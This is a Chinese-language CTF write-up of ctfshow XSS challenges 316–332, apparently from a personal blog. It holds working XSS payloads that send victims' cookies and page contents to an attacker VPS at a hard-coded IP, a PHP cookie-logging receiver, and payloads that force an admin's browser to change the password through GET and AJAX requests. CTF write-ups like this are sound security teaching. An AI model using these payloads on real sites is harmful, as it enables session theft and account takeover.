ctfshow XSS 316-333

发布于 2022-04-09  25 次阅读


前言

1、什么是XSS

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

2、XSS的原理

这个原理用一张图来解释:

也就是,受害者点击了攻击者的恶意链接,将自己的cookie等敏感信息传输到了攻击者手中。

3、XSS的危害

  • 通过 document.cookie 盗取 cookie中的信息
  • 使用 js或 css破坏页面正常的结构与样式流量劫持(通过访问某段具有 window.location.href 定位到其他页面)
  • dos攻击:利用合理的客户端请求来占用过多的服务器资源,从而使合法用户无法得到服务器响应。并且通过携带过程的 cookie信息可以使服务端返回400开头的状态码,从而拒绝合理的请求服务。
  • 利用 iframe、frame、XMLHttpRequest或上述 Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作,并且攻击者还可以利用 iframe,frame进一步的进行 CSRF 攻击。
  • 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力。

题解

web316

从这一题基础入门,后台bot自动点击,这个地方bot扮演的就是受害者,间隔10s,过了会刷新xss平台

首先,我们需要构建一个js代码**,让受害者点击之后,访问到我们的vps上**:

<script>document.location.href='vps/1.php?cookie='+document.cookie</script>

下面在vps上写一个1.php来接收管理员的cookie:

<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>

这段js代码干了什么?你为什么能得到管理员的饼干?
上面的js代码中中有document.cookie,菜鸟教程中是这么解释的:JavaScript的 document.cookie 将以字符串的方式返回所有的cookie,类型格式: cookie1=value; cookie2=value; cookie3=value;后台管理员访问了我们的‘祝福’链接会自动触发img标签里的src(此标签的src本意是要显示指定url的图片,但是我们传入了恶意代码,导致管理员饼干被打到vps上),帮我们得到cookie。

最后,在我们vps上面可以看到cookie.txt,打开即可看到flag

web317 | web318 | web 319

好像过滤了script,
用这个payload,反弹cookie到服务器的12345端口,监听即可。

<body ></body>

有个小问题:
如果先在vps上开启监听,那么会截取到我们自己浏览器发的包

这个抓包,感觉有点碰运气

所以,我决定将我服务器上的xss代码放在一个文件夹,再把端口解析到这个文件夹就行了

首先,把12345端口定向到目录


最后在目录下写一个index.php
这个地方我写了一个清空的接口,方便下次使用2333

<?php

if (isset($_GET['del']))
{
    $log = fopen("cookie.txt", "w");
    fclose($log);
}
if(isset($_GET['cookie']))
{
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
}
?>

然后同样的payload

<body ></body>

最后访问http://116.62.162.167:12345/cookie.txt即可

web320 | web321 | web322 | web323 | web324 | web325 | web326

这里过滤了空格,用/**/代替即可
payload:

<body/**/></body>

web327


用的payload和上一个题目一样。
这个题的原理是,如果上传了信息之后,服务器自动点击实现访问到我的服务器,

web328*

首先注册用户,然后登陆之后发现,只有admin才能查看

那么我们可以构造一个xss,让管理员点击,然后得到管理员的cookie,再登陆。
首先注册,


<script>document.location.href='http://116.62.164.167:12345?cookie='+document.cookie</script>

将密码设置为xss的payload
然后注册登陆。

在vps上拿到cookie,然后用bp发包登陆。
在这个地方吧PHPSESSID改成admin的PFPSESSID,再次发包

发现登陆成功

但是在用户管理并没有看到数据,这个是因为,数据和验证不是一起发送过来的,后端验证之后,发送一个响应,但是数据是通过json发送出来的。所以我们应该在响应中找到json文件,用这个文件重新发包。


同样的修改cookie之后再再发包就能拿到flag。

web329**

在这个例子中,admin的sessionid每次会话都会变,所以没办法使用sessionid进行登录(机器人好像设置的是上去一下就下来),那么思路就是让注入的XSS Payload自动读取本页面的带有ctfshow的字段并发到vps上。

注册一个普通账号并登录,修改一个显示密码的地方为,然后尝试直接在console中将这段字段读出来并发送到vps中,使用jQuery的类选择器:

<script>
$('.laytable-cell-1-0-1').each(function(index,value){
    if(value.innerHTML.indexOf('ctf'+'show{')>-1){
        window.location.href='http://116.62.164.167:12345?cookie='+value.innerHTML; 
    }
});
</script>

其中each的用法:

匹配字段被写为'ctf'+'show'是因为如果写成'ctfshow'的话,最终匹配的是我们写进去的XSS Payload。
那么接下来就是通过注册一个密码为上述js代码(记得加<script>标签)的用户即可。
补充:因为注入的代码中,vps的URL路径中有ctfshow字段,所以代码执行后会把我们注入的代码发给vps,所以需要把URL路径改一下。

还有一种方法,参考y4师傅的文章:


var img = new Image();
img.src = "http://your-domain/cookie.php?cookie="+document.querySelector('#top > div.layui-container > div    :nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main').textContent;/
document.body.append(img);

web330

本题添加了一个修改密码的功能:

那么一个想法就是通过XSS让管理员发出这个修改密码的GET请求包,所以可以注册一个用户名和密码都是XSS Payload的用户:

<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>

然后我们用admin 123登陆即可,

这个时候有问题,当我们用admin登陆之后查看用户管理的时候,这个时候,网页会自动访问我们挂的js马,跳转到change.php
这个时候,用bp抓包即可

web331

本题和330一样,不过改成了post请求

那么就使用ajax进行XSS注入,代码可以参考页面里面的js代码:

那么XSS Payload如下,作为注册的新用户的用户名即可:

<script>$.ajax({url:'api/change.php',type:'post',data:{p:'123'}});</script>

然后使用admin-123登录管理员账户即可获得flag。可以发现,ajax只接受最后返回的值,不会响应跳转请求更改浏览器地址栏地址转向的,如果要跳转,就需要用js判断ajax的返回值是否要跳转,然后设置location.href实现跳转。

web332

网上的非预期解是注册两个账号,然后转账转负数就行了,但是这个方法好像被ban了。。。转账的时候就出现:有内鬼


“缘分让我们相遇乱世以外,命运却让我们危难中相爱”